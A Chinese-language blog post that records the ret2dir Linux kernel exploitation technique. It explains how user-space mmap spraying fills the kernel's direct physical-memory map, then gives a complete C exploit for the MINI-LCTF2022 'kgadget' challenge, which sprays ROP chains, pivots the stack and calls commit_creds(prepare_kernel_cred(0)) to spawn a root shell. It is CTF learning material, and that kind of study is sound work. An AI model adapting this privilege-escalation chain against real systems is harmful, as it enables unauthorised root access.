ret2dir

ret2dir 学习记录

要努力战斗啊...
——为了一个“拳打()脚踢()”的梦想

原理

内核的虚拟地址空间中有一个线性映射区,线性映射了整个物理内存空间(能做到这一点是因为64位的CPU的寻址空间实在是太大了,远远大于现在RAM的容量)。我们可以通过在用户态利用mmap申请走内存中的大量页框,并在每个页框中大肆喷射payload(由于这段空间不可执行,一般喷射内容为ROP链)。然后再内核中我们劫持内核程序执行流(通过如指针解引用方式使用这个线性映射区中的数据,再栈迁移过来等)。由于这个区域直接映射物理内存,且物理内存页已经被我们喷满了payload,即便我们不太清楚我们payload具体在哪个位置,由于大面积的喷射,我们填一个随便的数值也大概率命中被喷射的页框。

实战

kgadget,取自attnba3佬的博客 例题:MINI-LCTF2022 - kgadget

执行ioctl的时候,剩下的寄存器会被传到栈上,绝大多数寄存器的数据传到栈上就被清了,但是r8和r9没有。因此可以在栈上布置数据。

降栈gadget找的真妙。

EXP

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/mman.h>


//0xffffffff8106f989 : add rsp, 0xd0 ; ret

size_t page_size;
size_t commit_creds=0xffffffff810c92e0;
size_t prepare_kernel_cred=0xffffffff810c9540;
size_t pop_rdi_ret=0xffffffff8108c6f0;
//0xffffffff81580daa : mov rdi, rax ; cmp rcx, rsi ; ja 0xffffffff81580d9d ; pop rbp ; ret
size_t magic_gadget=0xffffffff81580daa;
size_t swapgs_restore_regs_and_return_to_usermode=0xffffffff81c00fcb;
size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret= 0xffffffff810737fe;
size_t  ret = 0xffffffff8108c6f1;
size_t pop_rsp_ret=0xffffffff811483d0;

int backdoor(){
    system("/bin/sh");
    return 0;
}

unsigned long long user_cs=0,user_ss=0,user_sp=0,user_rflags=0;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

int fd;
size_t try_hit=0xffff888000000000+0x7000000;

void createROP(size_t* ROP){
    
    int idx=0;
 
    for (; idx < (page_size / 8 - 0x30); idx++)
        ROP[idx] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
    for (; idx < (page_size / 8 - 0x10); idx++)
        ROP[idx] = ret;

    ROP[idx++]=pop_rdi_ret;
    ROP[idx++]=0;
    ROP[idx++]=prepare_kernel_cred;
    ROP[idx++]=magic_gadget;
    ROP[idx++]=0;
    ROP[idx++]=commit_creds;
    ROP[idx++]=swapgs_restore_regs_and_return_to_usermode;
    ROP[idx++]=0;
    ROP[idx++]=0;
    ROP[idx++]=(size_t)backdoor;
    ROP[idx++]=user_cs;
    ROP[idx++]=user_rflags;
    ROP[idx++]=user_sp;
    ROP[idx++]=user_ss;

}

int main(){
    save_status();

    fd=open("/dev/kgadget",O_RDWR);
    if(!fd)
        printf("open error");

    page_size = sysconf(_SC_PAGESIZE);
    printf("page size: %lx\n",page_size);

    size_t* ptr[14000]={0};
    for(int i=0;i<14000;i++){
        ptr[i]=mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        createROP(ptr[i]);
    }

    __asm__(
        "mov r9, pop_rsp_ret;"
        "mov r8, try_hit;"
        "mov r10, 0xAAAAAAAA;"
        "mov r11, 0xBBBBBBBB;"
        "mov r12, 0xCCCCCCCC;"
        "mov r13, 0xDDDDDDDD;"
        "mov r14, 0xEEEEEEEE;"
        "mov r15, 0xFFFFFFFF;"
        "mov rcx, 0x0;"
        "mov rdi, fd;"
        "mov rsi, 0x1BF52;"
        "mov rdx, try_hit;"
        "mov rax, 0x10;"
        "syscall;"
    );
}

参考文章

0x03.Kernel ROP - ret2dir

【linux内核漏洞利用】ret2dir利用方法

ret2dir:Rethinking Kernel Isolation(翻译)

pwn-kernel_前置知识

posted @ 2023-08-18 17:22  Jmp·Cliff  阅读(62)  评论(1编辑  收藏  举报